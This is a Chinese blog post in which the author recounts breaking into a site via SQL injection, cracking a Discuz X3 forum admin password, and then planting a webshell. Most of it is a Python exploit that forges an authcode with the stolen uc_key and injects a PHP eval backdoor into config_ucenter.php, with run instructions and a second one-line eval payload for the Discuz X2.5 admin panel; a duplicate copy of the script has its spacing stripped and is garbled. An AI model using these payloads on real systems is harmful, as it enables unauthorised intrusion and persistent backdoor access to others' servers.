php ucword,Discuz X1.5 X2.5 X3利用uc_key拿webshell | kTWO-个人博客

89ce60841da503ee238ea69f0faf60cc.gif

前段时间玩耍的时候一不小心无意间发现了某网站的sql注入漏洞,用sqlmap拿下数据库后发现了里面有另一个网站的数据库,打开后发现是某BBS论坛,在论坛的底部发现了该论坛使用的是Discuz X3的框架,网站对这款论坛框架爆出了不少的漏洞,没忍住就想搞点事情。。。爆了user表,拿到了admin的账号和MD5加盐处理的管理员密码,拿密码去爆破,运气还不错,密码被爆出来了。可以搞事情了。

据我所知Discuz X3存在一大拿webshell的漏洞,不过该漏洞需要拿到uc_key,当然,现在拿到了数据库了,这个在表中很容易就拿到了。下面具体解释怎么拿shell。

方法是用Python写的,当然不是我写的,是在网上找的。

主要代码

#! /usr/bin/env python

#coding=utf-8

import hashlib

import time

import math

import base64

import urllib

import urllib2

import sys

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

'''

发送命令获取webshell

'''

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = time.time()+10*3600

tm="time=%d&action=updateapps" %tm

code = urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''<?xml version="1.0" encoding="ISO-8859-1"?>

http://xxx\');eval($_POST[1]);//

'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return "访问出错"

data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

http://aaa

'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return "error"

return "webshell:"+host+"/config/config_ucenter.php,password:1"

if __name__ == '__main__':

host=sys.argv[1]

key=sys.argv[2]

url=host+"/api/uc.php"

print get_shell(url,key,host)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

#! /usr/bin/env python

#coding=utf-8

importhashlib

importtime

importmath

importbase64

importurllib

importurllib2

importsys

defmicrotime(get_as_float=False):

ifget_as_float:

returntime.time()

else:

return'%.8f %d'%math.modf(time.time())

defget_authcode(string,key=''):

ckey_length=4

key=hashlib.md5(key).hexdigest()

keya=hashlib.md5(key[0:16]).hexdigest()

keyb=hashlib.md5(key[16:32]).hexdigest()

keyc=(hashlib.md5(microtime()).hexdigest())[-ckey_length:]

#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]

cryptkey=keya+hashlib.md5(keya+keyc).hexdigest()

key_length=len(cryptkey)

string='0000000000'+(hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length=len(string)

result=''

box=range(0,256)

rndkey=dict()

foriinrange(0,256):

rndkey[i]=ord(cryptkey[i%key_length])

j=0

foriinrange(0,256):

j=(j+box[i]+rndkey[i])%256

tmp=box[i]

box[i]=box[j]

box[j]=tmp

a=0

j=0

foriinrange(0,string_length):

a=(a+1)%256

j=(j+box[a])%256

tmp=box[a]

box[a]=box[j]

box[j]=tmp

result+=chr(ord(string[i])^(box[(box[a]+box[j])%256]))

returnkeyc+base64.b64encode(result).replace('=','')

defget_shell(url,key,host):

'''

发送命令获取webshell

'''

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm=time.time()+10*3600

tm="time=%d&action=updateapps"%tm

code=urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''<?xmlversion ="1.0"encoding="ISO-8859-1"?>

http://xxx\');eval($_POST[1]);//

'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return"访问出错"

data2='''<?xmlversion ="1.0"encoding="ISO-8859-1"?>

http://aaa

'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return"error"

return"webshell:"+host+"/config/config_ucenter.php,password:1"

if__name__=='__main__':

host=sys.argv[1]

key=sys.argv[2]

url=host+"/api/uc.php"

printget_shell(url,key,host)

使用方法

1.将上面的代码保存为key.py,当然,这个文件要在python下面运行。

2.python   key.py  网址  key

上面第一个参数是网站的根路径,第二个参数是uc_key。获取的webshell是在/config/config_ucenter.php中的

3.使用中国菜刀连接即可密码为:1

补充

再说一个Discuz  X2.5 后台直接拿shell的方法——直接在UCenter IP 地址:里面插入一句话

登陆后台之后在UCenter IP 输入:

xxoo\\');eval($_POST[a])?>;//

1

xxoo\\');eval($_POST[a])?>;//

Published by

风君子

独自遨游何稽首 揭天掀地慰生平